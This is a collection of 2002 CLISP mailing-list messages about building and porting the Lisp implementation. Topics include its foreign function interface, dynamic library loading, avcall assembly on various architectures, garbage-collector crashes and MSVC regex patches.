(defvar *zlib*)=0A=
(unless (and (boundp '*zlib*)=0A=
	     (ffi:validp *zlib*))=0A=
  (setq *zlib* (user::foreign-library *zlib-location*)))=0A=
(describe *zlib*)=0A=
=0A=
(defparameter *zlib-compress-address*=0A=
  (user::resolve-foreign-name "compress" *zlib*))=0A=
(describe *zlib-compress-address*)=0A=
=0A=
(defparameter *zlib-compress*=0A=
  (user::foreign-address-function "compress" *zlib-compress-address*=0A=
   (ffi::parse-c-type '(ffi:c-function=0A=
      (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 23)) :out)=0A=
		  (destlen (ffi:c-ptr ffi:ulong) :in-out)=0A=
		  (source (ffi:c-ptr (ffi:c-array ffi:uint8 9)))=0A=
		  (sourcelen ffi:ulong))=0A=
      (:return-type ffi:int)=0A=
      (:language :stdc)))))=0A=
(describe *zlib-compress*)=0A=
=0A=
;; Appropriate DEF-LIB-CALL-OUT macrology is up to you=0A=
=0A=
(defun compress (s)=0A=
  ;; <=3D> (funcall *zlib-compress* 23 s 8)=0A=
  (ffi::foreign-call-out *zlib-compress* 23 s 8))=0A=
#|=0A=
(compress #(1 2 3 4 5 6 7 8 9))=0A=
#(120 156 99 100 98 102 97 101 99 231 0 0 0 128 0 37 0 0 0 0 0 0 0) =
;=0A=
16 ;=0A=
FFI:UINT8 !?!=0A=
Oops, something else is broken with FFI :out parameters, grr!=0A=
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Hi,

Sam wrote:
> IIUC, libltdl (part of GNU libtool) is exactly that:
I went to
http://www.gnu.org/software/libtool/manual.html#Using%20libltdl

I liked that:
o it says "a small C source file"
o lt_dlopen does reference counting itself, whereas FOREIGN.D
 (currently AMIGAOS only) implements its own lib-handle factory
 via O(foreign_libraries) to avoid multiple opens.

I felt it's a little over-engineered for my purpose. It provides 16 functions, search-path, its own module concept and more.

> * libtool's dlpreopen
I don't have plans to incorporate a thing which has yet again it's own module creation convention (modulename_LTX_ prefix to symbols).

> This is GNU libltdl, a system independent dlopen wrapper for 
> GNU libtool.
[many platforms ...]
> * load_add_on (BeOS)
> * GNU DLD (emulates dynamic linking for static libraries)

I guess it's probably as easy to integrate as sysdll.c. And it already contains autoconf stuff for UNIX. Wait and see what users report.

Regards,
	Jorg Hohle.


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Hi,

CLISP's external modules are initialized very early while starting
up. For instance,
o init_streamvars() has not yet been called (setting *TERMINAL-IO* =
etc.)
o init_packages() has not yet been called when starting without -M
o and many others as well...

CLISP catches the attempt by modules to define Lisp functions
(e.g. LISPFUN) in an unknown package (spvw.d:init_other_modules):
 { var object pack =3D =
find_package(asciz_to_string(packname,O(internal_encoding)));
   if (nullp(pack)) # Package nicht gefunden?
   { asciz_out_ss(GETTEXTL("module `%s' requires package %s." =
NLstring),
                  module->name, packname);
-> "module `mtest' requires package TESTCI."

But it cannot do so for arbitrary objects, e.g. the symbol
TESTCI::DECIDER that Peter Wood tries to use. It attempts to read them
via a string-input-stream, so a package error is signaled. As
init_streamvars() has not yet been called, a suberror follows about
*TERMINAL-IO*. Why it crashes later on I don't know - it should not.

It's not just a package problem. Any error signaled while reading the
object_tab to initialize an object causes CLISP to die.

I don't know why in the LISPFUN case an error is signaled instead of
just creating a virgin package. Maybe because CLISP was not
initialized far enough, maybe because that would have disturbed later
FIND-PACKAGE checks in Lisp code.

I don't know why init_other_modules_2() (esp. stream_read) etc. are
called that early in the process.

There may be excellent reasons for all these. Only Bruno Haible could =
tell.

I don't know what to do yet.

Regards,
	J=F6rg H=F6hle.


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clisp has been failing to build on m68k for Debian. A build log is here:

http://buildd.debian.org/fetch.php?&pkg=clisp&ver=1%3A2.27-0.5&arch=m68k&stamp=1013020383&file=log&as=raw

Erik is a Debian user who has been helping me figure out what is going on.  
Can anyone who has more familiarity look at his coments esp. the desire to 
disable garbage collection? I have poked the source but not seen any easy way 
to do this.

Thanks

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Subject: Re: Debugging crash on m68k
Date: Thu, 4 Apr 2002 22:36:31 -0800
From: Erik van Roode <erik@cthulhu.demon.nl>
To: Will Newton <will@misconception.org.uk>

On Wed, Apr 03, 2002 at 02:36:03PM +0100, Will Newton wrote:
> On Wednesday 03 Apr 2002 5:44 am, you wrote:
> > #0  0x80003a0c in gc_mark ()
> > #1  0x801eb754 in object_tab ()
> > #2  0x80004ba0 in do_gar_col_simple ()
> > #3  0x80004bbe in gar_col_simple ()
> > #4  0x8005dfd4 in write_errorstring ()
> > #5  0x8001080e in funcall_subr ()
> > #6  0xc007ec00 in __libc_start_main () from /lib/libc.so.6
>
> Thanks, this is a great start.

Added some printf, first call to gar_col_simple succeeds, crash
is during second crash. Looks like the first garbage collect
messes up something.

Program received signal SIGSEGV, Segmentation fault.
gc_mark (obj=0x80064670) at spvw_garcol.d:262
262                       switch (Record_type(dies))

played around with gdb, and obj=0x01 NULL pointer with some
flags. I'm assuming clisp encodes some stuff in lower two bits
of pointers.

If it is the garbage collector, a run without any gc's should work. The
the -m option doesn't seem to cause clisp to start with a bigger heap,
and I don't see a 'disable gc' option. Any suggestions?

Erik

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Thanks for the response.  I tried:

$ tar -zxvf ~/DOWN/clisp-2.28.tar.gz
$ cd clisp-2.28
$ mkdir macbuild
$ ./configure --with-no-dynamic-ffi macbuild

Unfortunately, I get pretty much the same behavior: lots
of errors in avcall-rs6000.c and the makefile disappears.

Tom.

--- Sam Steingold <sds@gnu.org> wrote:
> > * In message <20020404032940.6942.qmail@web11904.mail.yahoo.com>
> > * On the subject of "[clisp-list] problems building on MacOSX, and problems
> with the build process"
> > * Sent on Wed, 3 Apr 2002 19:29:40 -0800 (PST)
> > * Honorable Tom <tom7ca@yahoo.com> writes:
> >
> > Trying to build CLISP on MacOSX breaks in the avcall package because
> > the OSX asm syntax is different from that of other rs6000 systems.
> > 
> > Is there any way of telling CLISP not to use avcall?  I tried giving
> > configure the "--without-avcall" option.  Configure doesn't complain,
> > but it still tries to compile "avcall" and fails.  Would it even
> > run without avcall?
> 
> sure - no FFI.
> 
> $ ./configure --with-no-dynamic-ffi
> 
> > I'm also having a hard time just hacking CLISP.  When I "configure"
> > and "make" it, after it dies making itself in avcall, it doesn't
> > notice that anything went wrong, removes (!) the toplevel makefile,
> > and tells me to proceed to the second stage make process.  After that,
> > the source tree is in a mess: configure refuses to run again because
> > bits and pieces of the previous configuration are still around, and
> > "make" refuses to run because the top-level makefile is gone.  That
> > can't be how is it supposed to work; what am I missing?
> 
> always build in a separate directory:
> 
> $ ./configure build-dir
> 
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> * In message <20020405144924.87133.qmail@web11902.mail.yahoo.com>
> * On the subject of "Re: [clisp-list] problems building on MacOSX, and problems with the build process"
> * Sent on Fri, 5 Apr 2002 06:49:24 -0800 (PST)
> * Honorable Tom <tom7ca@yahoo.com> writes:
>
> $ ./configure --with-no-dynamic-ffi macbuild

$ ./configure --without-dynamic-ffi --build macbuild

please send the last few lines - not just the error messages, but the
commands issued by ./configure and echoed to the screen.

PS. there is no such thing as "toplevel makefile".

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> * In message <DFD875E85664D3118FA6080006277DE705216EF1@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows"
> * Sent on Wed, 27 Mar 2002 15:24:45 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

could you please try the current Emacs regex.c instead?
<http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/emacs/emacs/src/regex.c?rev=HEAD&content-type=text/x-csrc>
thanks.

> gdiff -c3 ../../orig/ regex.c
> *** ../../orig/regex.c	Wed Jul 22 22:22:47 1998
> --- regex.c	Fri Mar 22 15:58:38 2002
> ***************
> *** 211,218 ****
> --- 211,223 ----
>   #if HAVE_ALLOCA_H
>   #include <alloca.h>
>   #else /* not __GNUC__ or HAVE_ALLOCA_H */
> + #ifdef _MSC_VER /* Microsoft VC */
> + #include <malloc.h>
> + #define alloca _alloca
> + #else
>   #ifndef _AIX /* Already did AIX, up at the top.  */
>   char *alloca ();
> + #endif /* not MS-VC */
>   #endif /* not _AIX */
>   #endif /* not HAVE_ALLOCA_H */ 
>   #endif /* not __GNUC__ */

> gdiff -c3 ../../orig/ regexi.c
> *** ../../orig/regexi.c	Wed Jul 22 22:22:50 1998
> --- regexi.c	Fri Mar 22 15:28:22 2002
installed - thanks!

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Hi,

On Fri, Apr 05, 2002 at 09:50:08AM +0200, Hoehle, Joerg-Cyril wrote:
> Silly me,
> 
> withholding dynload.d because of the low-level error reporting bug shouldn't prevent you from trying to compile the files on the various platforms (Linux, Solaris, HP, Mac etc.).
> 
> So I'll be happy to receive feedback on:
> 1. how dynload.d and especially sysdll.c (from XEmacs) compiles on all CLISP systems.
> 2. the various comments in dynload.d
> 

THANKS!

On:

Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001 i586 unknown
with a CVS clisp (about 10 days old).

bash-2.04$ ./base/lisp.run -B . -q -norc -M base/lispinit.mem 

[1]> (load "dynex.lisp")
;; Loading file dynex.lisp ...

#<FOREIGN-POINTER #x082927D0> is a foreign pointer

#<FOREIGN-ADDRESS #x08062624> is a foreign address

#<FOREIGN-FUNCTION "compress" #x08062624> is a foreign function of foreign 
type 
(FFI:C-FUNCTION
 (:ARGUMENTS
  ((:|arg1| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 23)) :OUT :ALLOCA)
   (:|arg2| (FFI:C-PTR FFI:ULONG) :IN-OUT :ALLOCA)
   (:|arg3| (FFI:C-PTR (FFI:C-ARRAY FFI:UINT8 9)) :IN :ALLOCA)
   (:|arg4| FFI:ULONG :IN :NONE)))
 (:RETURN-TYPE FFI:INT :NONE) (:LANGUAGE :STDC)).
;; Loading of file dynex.lisp is finished.
T
[2]> 

This is extremely cool.

I didn't compile it together with regex.

I needed to add -DHAVE_DLOPEN to the CFLAGS for compiling sysdll.c,
(otherwise, although  it compiled fine,  #'foreign-library would not
work.).

Also, I commented out the #else #error comments in dynload.d, since
gcc didn't like them :-) Maybe I was forgetting something with cpp.

Thanks again.

(Joerg, I will be trying your mini-module in the bug report at
sourceforge on an old version of Clisp.  I will send you the results.)

Regards,
Peter



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Hi

Sam, I tried the patch which you attached to Joergs's bug report at
sourceforge.  Two cases:

bash-2.04$ ./base+testCI/lisp.run

*** - READ from #<INPUT STRING-INPUT-STREAM>: #<PACKAGE FFI> has no external symbol with name "C-STRING"
1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler!
Aborted (core dumped)
bash-2.04$ ./base+testCI/lisp.run -M lispinit.mem 

*** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with name "TESTCI"
1. Break [1]> 
[1]> 

Regards,
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> * In message <20020406210626.A22186@localhost.localdomain>
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> Sam, I tried the patch which you attached to Joergs's bug report at
> sourceforge.  Two cases:
> 
> bash-2.04$ ./base+testCI/lisp.run
> 
> *** - READ from #<INPUT STRING-INPUT-STREAM>: #<PACKAGE FFI> has no external symbol with name "C-STRING"
> 1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler!
> Aborted (core dumped)
> bash-2.04$ ./base+testCI/lisp.run -M lispinit.mem 
> 
> *** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with name "TESTCI"
> 1. Break [1]> 
> [1]> 

okay - I take it that the patch does fix the stream bug.
the errors above are not CLISP errors in the sense that, in the first
case, without the memory image, there are no external symbols and you
have to use two colons always, and, in the second case, you have to
make sure (dunno how) that the package TESTCI is there.

Joerg - please confirm my analysis and I will commit the patch.

thanks.
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Hi,

That sounds great. Some future version of Maxima is going to require the
ability to talk to c, even though the details haven't been worked out
yet. I'm just following the developments with FFI's in the meantime.

I have two questions:
	1) Any chance of getting cparse to work with GCL?
	2) Have you looked at the UFFI project?

Best,
Jim

On Tue, 2002-04-02 at 20:41, Dan Stanger wrote:
> I have made a first pass at getting cparse running on clisp.  Cparse is
> Tim Moore's program that
> parses c headers, and generates cmucl and now clisp lisp code to call
> the c functions.
> I would appreciate any testing that could be done with this on clisp, I
> have used it to parse
> windows.h, the cygwin windows header file.
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Hi,

Are there problems using the new autoconf with avcall?  I got lots of
errors when I ran autoconf on avcall's  configure.in.

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On Sunday 07 Apr 2002 1:32 pm, Peter Wood wrote:

> Are there problems using the new autoconf with avcall?  I got lots of
> errors when I ran autoconf on avcall's  configure.in.

It builds OK with the Debian autoconf 2.53.


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On Sun, Apr 07, 2002 at 02:18:46PM +0100, Will Newton wrote:
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Thanks,

with 2.52, too.  I forgot -l.

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Peter


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I have written a awk program to convert windows function definitions
to module c code, creates a function to call the windows function.
Currently it only handles simple types, but I am writing another
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I found Stefan Kain's translations to be very helpful, however I was
wondering if the original German comments could be kept in the file also.
I had been using the sources to improve my understanding of German also.
Dan Stanger


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> * In message <200204082142.g38Lgn228143@mantis.privatei.com>
> * On the subject of "[clisp-list] translations"
> * Sent on Mon, 8 Apr 2002 15:42:49 -0600 (MDT)
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> I found Stefan Kain's translations to be very helpful, however I was
> wondering if the original German comments could be kept in the file
> also.

CVS is your friend.

The reason the comments will always be in English only is simple:
when you modify the code, you should modify the comments too.
I cannot modify the German comments, so, when Stefan translated
clos.lisp (just now), I had to edit his translation to reflect the
changes I made long ago but did not document then: when editing a
German-commented file, I often relied on code as self-documentation,
and ignored the comments altogether.

> I had been using the sources to improve my understanding of German also.

CLISP is not the right place to learn German.

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I've started a port of ffcall to Linux/hppa. Currently it is almost complete 
pending a toolchain problem. The parts I have and know work I will split up 
into patches and you can look them over. These bits should not affect the 
build on other arches.

avcall-hppa-linux.c:

avcall implementation for Linux/hppa.

avcall-hppa-linux.s:

Assembler compiled from above file with gcc 3.0.4.

clisp-2.28-avcall-makefile.diff:

Additions to ffcall/avcall/Makefile.devel to produce assembler.

vacall-hppa-linux.s:

Vacall code compiled with gcc 3.0.4.

clisp-2.28-vacall-makefile.diff:

Changes to ffcall/vacall/Makefile.devel to produce above file.


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Sam Steingold schrieb:
> The reason the comments will always be in English only is simple:
> when you modify the code, you should modify the comments too.
> I cannot modify the German comments, so, when Stefan translated
> clos.lisp (just now), I had to edit his translation to reflect the
> changes I made long ago but did not document then: when editing a
> German-commented file, I often relied on code as self-documentation,
> and ignored the comments altogether.
> 
> > I had been using the sources to improve my understanding of German also.
> 
> CLISP is not the right place to learn German.

indeed. 
even for me as native german speaker the old german comments 
were also very confusing.
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"Hoehle, Joerg-Cyril" schrieb:
> Sam wrote:
> > IIUC, libltdl (part of GNU libtool) is exactly that:
> I went to
> http://www.gnu.org/software/libtool/manual.html#Using%20libltdl
> 
> I liked that:
> o it says "a small C source file"
> o lt_dlopen does reference counting itself, whereas FOREIGN.D
>  (currently AMIGAOS only) implements its own lib-handle factory
>  via O(foreign_libraries) to avoid multiple opens.
> 
> I felt it's a little over-engineered for my purpose. It provides 16 functions, search-path, its own module concept and more.

true.

> > * libtool's dlpreopen
> I don't have plans to incorporate a thing which has yet again it's own module creation convention (modulename_LTX_ prefix to symbols).

hmm, but not that complicated.
since libtldl seems to support more platforms in the long run, I would vote
for libtldl.

> 
> > This is GNU libltdl, a system independent dlopen wrapper for
> > GNU libtool.
> [many platforms ...]
> > * load_add_on (BeOS)
> > * GNU DLD (emulates dynamic linking for static libraries)
> 
> I guess it's probably as easy to integrate as sysdll.c. And it already contains autoconf stuff for > UNIX. Wait and see what users report.

IMHO the main advantage of the xemacs code over libtldl is the more liberal
license :)
but since rms forced bruno to use the GPL we don't need to care.
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Sam Steingold schrieb:
> Bruno said that stdcall is not used anymore and may be removed.
> I decided against removing.

thanks. 
stdcall is the most often used calling convention nowadays (winapi).

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Hi,

Why is the file ffcall/avcall/avcall-i386.c not used?  I've compiled
with it and it (seemingly) works fine (Gnu/Linux x86).  Why does Clisp
do the hairy cpp|grep|sed x.S -> x.s thing??

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On Tue, Apr 09, 2002 at 12:05:55PM +0000, Reini Urban wrote:
> Sam Steingold schrieb:
> > The reason the comments will always be in English only is simple:
> > when you modify the code, you should modify the comments too.
> > I cannot modify the German comments, so, when Stefan translated
> > clos.lisp (just now), I had to edit his translation to reflect the
> > changes I made long ago but did not document then: when editing a
> > German-commented file, I often relied on code as self-documentation,
> > and ignored the comments altogether.
> > 
> > > I had been using the sources to improve my understanding of German also.
> > 
> > CLISP is not the right place to learn German.
> 
> indeed. 
> even for me as native german speaker the old german comments 
> were also very confusing.
> -- 

Hi,

I once tried sending some of the comments to babel fish for
translation.  Now *that* was confusing :-)

The translations are a BIG improvement.  Thanks, Stefan.

regards,
Peter


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On Tuesday 09 Apr 2002 3:28 am, Will Newton wrote:

> I've started a port of ffcall to Linux/hppa. Currently it is almost
> complete pending a toolchain problem. The parts I have and know work I will
> split up into patches and you can look them over. These bits should not
> affect the build on other arches.

I'm going to redo these patches against the latest CVS so they apply cleanly. 
I should have everything complete within a week.


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> * In message <20020409160335.A334@localhost.localdomain>
> * On the subject of "[clisp-list] avcall-i386.c"
> * Sent on Tue, 9 Apr 2002 16:03:35 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> Why is the file ffcall/avcall/avcall-i386.c not used?  I've compiled
> with it and it (seemingly) works fine (Gnu/Linux x86).  Why does Clisp
> do the hairy cpp|grep|sed x.S -> x.s thing??

performance?

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> * In message <20020409161056.C334@localhost.localdomain>
> * On the subject of "Re: [clisp-list] translations"
> * Sent on Tue, 9 Apr 2002 16:10:56 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> I once tried sending some of the comments to babel fish for
> translation.  Now *that* was confusing :-)

oh yeah - this is my regular fun.

> The translations are a BIG improvement.  Thanks, Stefan.

indeed!

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> * In message <E16uxbC-0000NB-00.2002-04-09-16-32-02@imailg1.svr.pol.co.uk>
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> I'm going to redo these patches against the latest CVS so they apply
> cleanly.  I should have everything complete within a week.

thank you!


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On Tuesday 09 Apr 2002 3:03 pm, Peter Wood wrote:

> Why is the file ffcall/avcall/avcall-i386.c not used?  I've compiled
> with it and it (seemingly) works fine (Gnu/Linux x86).  Why does Clisp
> do the hairy cpp|grep|sed x.S -> x.s thing??

In an attempt to work on a wide array of broken compilers and assemblers most 
probably. It really is a bit of a mess in there, but I am definitely not 
volunteering to clean it up. :)
It's one of those "change one line, then check it builds on 30 different 
architectures" jobs.


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Hi,

On Tue, Apr 09, 2002 at 01:30:05PM -0400, Sam Steingold wrote:
> > * In message <20020409160335.A334@localhost.localdomain>
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> >
> > Why is the file ffcall/avcall/avcall-i386.c not used?  I've compiled
> > with it and it (seemingly) works fine (Gnu/Linux x86).  Why does Clisp
> > do the hairy cpp|grep|sed x.S -> x.s thing??
> 
> performance?
> 

I bet it's impossible to meaningfully measure the performance
difference of this little drop of code in Clisp's ocean.  Maybe you
gain a few machine instructions.

So compare instead the added simplicity in the build process (which is
achieved by allowing gcc to compile the 'straight' .c file) with the
hairy, scary sed cruft.

On the other hand, maybe there's some other reason as well ...

Regards,
Peter


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Hi,

On Tue, Apr 09, 2002 at 07:06:02PM +0100, Will Newton wrote:
> On Tuesday 09 Apr 2002 3:03 pm, Peter Wood wrote:
> 
> > Why is the file ffcall/avcall/avcall-i386.c not used?  I've compiled
> > with it and it (seemingly) works fine (Gnu/Linux x86).  Why does Clisp
> > do the hairy cpp|grep|sed x.S -> x.s thing??
> 
> In an attempt to work on a wide array of broken compilers and assemblers most 
> probably. It really is a bit of a mess in there, but I am definitely not 
> volunteering to clean it up. :)
> It's one of those "change one line, then check it builds on 30 different 
> architectures" jobs.
> 

This is definitely true, but the Makefile already deals with the '30
architectures' and I am only (tentatively) suggesting that the rule
for avcall-i386.lo be changed, not the rules for sparc, mips, m68k,
etc:

avcall-i386.lo : $(srcdir)/avcall-i386.c
        $(LIBTOOL_COMPILE) $(CC) $(CFLAGS) -c $(srcdir)/avcall-i386.c

(instead of)

#avcall-i386.lo : avcall-i386.s
#       $(LIBTOOL_COMPILE) $(CC) -x none -c avcall-i386.s
#
#avcall-i386.s : $(srcdir)/avcall-i386-macro.S
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grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% ,%,g' -e 's,\. ,.,g
' > avcall-i386.s

So we wouldn't have to worry about the 30 architectures, 'just' the
few os's that run on i386, apart from linux which seems fine.

Another advantage to using the .c file is you can follow Clisp into
avcall on gdb - well, you can do it with the .s file too, but
assembler is ... assembler.

I don't suppose it really matters, and there _may_ be something wrong
with compiling with the c file that I don't know about.

Regards,
Peter


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:-)

Sam Steingold wrote:
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> 
> indeed!
> 

I'm so deeply touched, I have tears in my eyes... :-)


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On Tuesday 09 Apr 2002 8:28 pm, Peter Wood wrote:

> This is definitely true, but the Makefile already deals with the '30
> architectures' and I am only (tentatively) suggesting that the rule
> for avcall-i386.lo be changed, not the rules for sparc, mips, m68k,
> etc:

Fair enough, if you are willing to take on the repsonsibility of working this 
out I'm sure a patch would be accepted.

> #avcall-i386.s : $(srcdir)/avcall-i386-macro.S
> #       $(CPP) $(ASPFLAGS) $(srcdir)/avcall-i386-macro.S | grep -v '^
> *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,%
> ,%,g' -e 's,\. ,.,g ' > avcall-i386.s

First we have to figure out what this does. AFAIK at the moment it does very 
little. I think it is possible to remove this without any harm. I would like 
someone who knew a little more about the code (Bruno?) to comment on this, 
but I would guess it was written for some older code.

> Another advantage to using the .c file is you can follow Clisp into
> avcall on gdb - well, you can do it with the .s file too, but
> assembler is ... assembler.

It's not really that much assembler.

> I don't suppose it really matters, and there _may_ be something wrong
> with compiling with the c file that I don't know about.

It is necessary to get the CFLAGS correct - the hppa code I have just written 
requires no optimization be applied to it. I imagine one of the reasons the 
assembler files are shipped with avcall is that the things that are being 
done tend to test the optimizer of the compiler to the limit.



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Date: Tue Apr  9 15:11:04 2002
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gcc -fPIC -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE -c 
unixaux.c
In file included from unixaux.d:4:
lispbibl.d:6975: warning: volatile register variables don't work as you might 
wish
lispbibl.d:7097: warning: register used for two global register variables
In file included from unixaux.d:4:
lispbibl.d:8978: warning: register used for two global register variables
lispbibl.d:8996: warning: register used for two global register variables
lispbibl.d:9167: warning: register used for two global register variables
unixaux.d:483: `_FPU_IEEE' undeclared here (not in a function)
make: *** [unixaux.o] Error 1

I have fpu_control.h, I have __setfpucw, but nowhere defines _FPU_IEEE.

I'll have a look at this tomorrow.


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Dear Dr Haible,

Firstly, thanks for making your very useful language available.

I wish to know whether it is possible to run the theorem-proving system 
ACL2 under clisp. When I tried to do this, I got the following message 
almost immediately:

"We are trying to initialize the parameter that specifies the
file extension name used by the local compiler.  For example, in
Allegro Common Lisp, the extension is "fasl" while in Lucid
it is "lbin" or "sbin".  Files with such extensions are understood
to contain compiled code.  We do not recognize this Common Lisp
from its *features*.  Please type as a STRINGP suitable for READ
its compiled file extension name:

It has to READ as a STRINGP!  Put quotation marks around it:"

(This message originates in the ACL2 source, of course.)

The version of ACL2 (which is the only one I have succeeded in 
obtaining) is 1.9. I obtained it by ftp from dirleton.csres.utexas.edu.

This version of ACL2 works under gcl, but I like clisp better!

I would appreciate your help.

Yours faithfully,

Ian Clarkson



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> * In message <3CB36D79.8090106@tpg.com.au>
> * On the subject of "[clisp-list] Running ACL2 under clisp"
> * Sent on Wed, 10 Apr 2002 08:38:49 +1000
> * Honorable Ian Clarkson <iclarksn@tpg.com.au> writes:
>
> I wish to know whether it is possible to run the theorem-proving
> system ACL2 under clisp.

ACL2 supports CLISP starting with version 2.6
See <http://www.cs.utexas.edu/users/moore/acl2>

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clisp sets the FPU mode to _FPU_IEEE (using functions from fpu_control.h). 
Why does it do this, and what specifc features are required? glibc on hppa 
does not have _FPU_IEEE, and it seems that fenv.h is the recommended way top 
control the FPU mode. Maybe if I know what I am trying to do I can set the 
FPU mode through fenv.h instead.


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This excludes hppa from the fpu_control stuff. If it breaks anything later 
then I'll have to figure something out.


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Hi,

these are my comments on the topic. I can only speak facts for *-m68k-amiga.[cs]. AFAIK, Bruno Haible wrote most of the others. However, -m68k-* is in some parts representative of the others.

1. We used the assembler files for lack of C compiler stability. We were tired of verifying the code after every new release of GCC which did different optimizations and broke the very sensible mixture of C and __asm__ statements.

> I don't suppose it really matters, and there _may_ be something wrong
> with compiling with the c file that I don't know about.

Really, doing what avcall etc. do in C is next to not doable. And it's not strictly C, witness all the __asm__() statements therein.

> Another advantage to using the .c file is you can follow Clisp into
> avcall on gdb - well, you can do it with the .s file too, but
> assembler is ... assembler.
IMHO, if you plan to follow the debugger on avcall, you should know assembler.

I consider the C code more like a schema of what the code is supposed to do. It gives you the frame (e.g. pulling args) from which you work on the core (filling registers and calling the function).

2. I believe some of our usage of __asm__() for register allocation
was not covered by the GNU-C team. Worse - IIRC -  they expressly said
we cannot rely on this. It worked though, for our purposes.

Do you want to rely on C + __asm__() code of which the compiler
maintainers state it's unsupported?


3. Working assembler code was first, C afterwards. It was an iterative cycle, trying to find out C code which, when compiled, would produce working code. It very much depends on the compiler switches and version. That's why comments say "Must be compiled with -O, while -fomit-frame-pointer is forbidden / necessary". Creating the C file was not a "let's write it from scratch in C".
For instance, Bruno's initial attempt at m68k.c was subtly broken (bad stack layout, i.e. ordering on things on the stack prior to foreign function call).

By nature then, the necessary C code may change at the next compiler generation. The assembly code wouldn't change. Which would you choose?

The good news is, using the C code allows you to send bug reports earlier to the GCC or other compiler maintainers... :-)


I consider the C code as the documentation of the assembly code.


3. We had to work with different assembler syntaxes.
The GNU as uses the so called MIT syntax - e.g. a6@ -, while all others use
the Motorola syntax - (a6) - for the m680x0 processor.

The solution (typical of CLISP) was to add preprocessing to assembly files.
I see similar similar things done in e.g. asmi386.h

BTW, GNU-as was not stable either.
We moved from gcc+-as-1.39/40 to gcc-2, the object format moved from UNIX a.out to xyz, GNU-as started using the BFD library (for better or worse), gcc + gas integrated patches as reported etc.


> grep -v '^ *#line' | 
> grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' 
4. .s output from gcc (possibly others, maybe just -verbose output, #ident maybe Sun cc) may contain #lines (IIRC) directives which enable the assembler to refer to errors by line number in the C source file.
Also, gcc wraps it's own assembly code around
#NO_APP
and __asm__() with
#APP

5. sed -e 's,% ,%,g' 
This looks like a cure to the following:
An extra space is introduced by ANSI-C preprocessors around #define expansions (or is it # or ## token pasting?), which was not the case for K&R preprocessors.

6. sed with $ and %
IIRC, various assemblers wanted various prefixes in front of identifiers from C code or labels (or was it the prefix for registers?).


What I believe could work is this:
o Somebody knowledgeable of a given platform and assembler takes responsibility ("maintains") the corresponding {avcall,vacall,trampoline}-arch.[cs]
 + makes it work,
 + guarantees it works
 + and makes claims about the stability w.r.t. compiler changes of the code.
o somebody manages to manage the team of n people and 3n different implementations.


Regards,
	Jorg Hohle.


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Sam wrote:

> actually, the Emacs version does not cut it.
Pardon my poor english? That means you don't like the regexp library that's part of Emacs?

modules/regexp/README actually says:
"The library routines regex.[ch] come from the GNU findutils-4.1."

> please try the glibc version (attached, from the glibc 2.2.5 dist)
[oops, 260KB to the list]

It's no better at all w.r.t. to alloca() for M$-VC, witness:

/* Make alloca work the best possible way.  */
#   ifdef __GNUC__
#    define alloca __builtin_alloca
#   else /* not __GNUC__ */
#    if HAVE_ALLOCA_H
#     include <alloca.h>
#    endif /* HAVE_ALLOCA_H */
#   endif /* not __GNUC__ */

#  endif /* not alloca */

There's no alloca.h include file with (at least my) MS-VC 6.x


So we're left with few choices:
1. change modules/regexp/regex.c as by my patch, or
2. recommend MS-VC users to create alloca.h *and* compile with -DHAVE_ALLOCA_H
3. beg Emacs/FSF/Lignux-libc/xyz-people to care for MS-VC and incorporate patch

In any case:
0. document problem and patch probably needed within CLISP,
 .a either modules/regexp/README
 .b or win32msvc/INSTALL

I'd favour 0b+1!+2 as I have few hopes for 3.

It would be interesting to know whether the Intel C compiler (icc) provides alloca. I suppose no Linux/Free-/Open-/NetBSD (UNIX) user is interested by MS-VC, but icc is another issue.

Regards,
	Jorg Hohle.


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Hi,

Peter Wood wrote:

> I needed to add -DHAVE_DLOPEN to the CFLAGS for compiling sysdll.c,
> (otherwise, although  it compiled fine,  #'foreign-library would not
> work.).
Blame sysdll.c for providing empty stubs when no good -D is provided.

The need for the right #define for every UNIX platform should be ripped off from XEmacs autoconf and ac.local.macros (or whatever) and be put into the config.h generator (is that ./configure?) to complete the support for UNIX.
Could somebody on UNIX please do this?

BTW, XEmacs has a newer sysdll.[ch] than on Reini's site:
I then need fewer -Dxyz (but others), witness my makefile.msvc now reads:

# http://cvs.xemacs.org/viewcvs.cgi/XEmacs/xemacs/src/sysdll.c
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sysdll.obj : sysdll.c sysdll.h
	$(CC) -DHAVE_SHLIB -DWIN32_NATIVE $(CFLAGS) -UUNICODE -c sysdll.c

I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS

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"Hoehle, Joerg-Cyril" schrieb:
> BTW, XEmacs has a newer sysdll.[ch] than on Reini's site:
> I then need fewer -Dxyz (but others), witness my makefile.msvc now reads:
> 
> # http://cvs.xemacs.org/viewcvs.cgi/XEmacs/xemacs/src/sysdll.c
> # don't -DUNICODE sysdll.c via CFLAGS or you'll get LoadLibraryW(), not -A

but then you cannot load foreign libraries on win32 (namely japanese, chinese,
... filenames),
which you should be able to do on the new mule xemacs, ben wing is currently
preparing.

I wouldn't seperately mess with -D or -U UNICODE. the clisp config.h version
should be used instead.
otherwise filenames and strings cannot be copied from/to sysdll.

> I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS

The current version is quite unstable IMHO, considering the unicode and mule
changes.
I believe this will be settled after this summer.
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> * In message <E16v73N-0001So-00.2002-04-10-02-37-41@imailg3.svr.pol.co.uk>
> * On the subject of "[clisp-list] FPU_IEEE and clisp"
